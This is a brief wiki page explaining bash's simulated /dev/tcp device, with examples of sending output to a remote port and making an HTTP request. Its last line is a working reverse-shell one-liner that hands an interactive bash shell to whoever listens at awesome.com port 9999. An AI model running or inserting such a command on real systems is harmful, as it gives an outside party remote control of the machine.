User Tools

Site Tools


there_s_a_dev_file_for_tcp_connections

This is an old revision of the document!


It doesn't really exist – it's simulated by bash only when doing redirections. They're of the form:

/dev/tcp/<hostname>/<portnumber>

To send stdout to a TCP connection:

$ mycomment > /dev/tcp/awesome.com/9999

To get a bidirectional TCP connection in shell script:

exec 3<>/dev/tcp/www.google.com/80
echo -e "GET / HTTP/1.1\n\n">&3
cat <&3

To make an interactive bash shell appear for someone listening at awesome.com port 9999:

bash 3<> /dev/tcp/awesome.com/9999 0<&3 1>&3 2>&3
there_s_a_dev_file_for_tcp_connections.1283465070.txt.gz · Last modified: 2010/09/02 15:04 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki